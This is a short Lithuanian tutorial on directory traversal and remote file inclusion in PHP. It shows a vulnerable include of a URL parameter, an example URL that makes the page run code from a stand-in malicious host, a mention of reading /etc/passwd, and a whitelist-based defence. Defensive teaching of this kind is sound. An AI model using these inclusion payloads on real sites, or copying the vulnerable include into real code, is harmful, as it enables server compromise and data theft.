Katalogų peršokimas (directory traversal)
Ataką galima įvykdyti, kai sisteminiuose failuose atidaromi ar iškviečiami failai, kurių pavadinimas generuojamas iš vartotojo įvedamų duomenų.
Pavyzdžiui, URL: http://www.example.com/modulis=straipsnis PHP skriptas: include($_GET['modulis'].'.php');
Tokiu atveju URL pakeitus į http://www.example.com/modulis=http://www.kenkejiskas-puslapis.com/kenkejiskas-kodas
bus įvykdomas skriptas iš http://www.kenkejiskas-puslapis.com/kenkejiskas-kodas.php
Analogiškai galima iškviesti bet kokią programą ar įtraukti bet kokį failą, esantį tame pačiame serveryje (pavyzdžiui, iškviečiant /etc/passwd)
Taip pat galima užkrėsti ir vartotojo slapukus, todėl negalima aklai pasitikėti ir juose saugomų duomenų tikrumu.
Kaip apsisaugoti?
Išvalyti vartoto įvestus duomenis, paliekant TIK simbolius, esančius range [A-Za-z0-9_-]. Taip pat patikrinti, ar vartotojui leidžiama iškviesti atitinkamą
kodą. Pavyzdžiui:$moduliai = array('straipsnis', 'naujiena');
if(in_array($_GET['modulis'], $moduliai))
echo 'OK';
else
exit('Toks modulis neegzistuoja')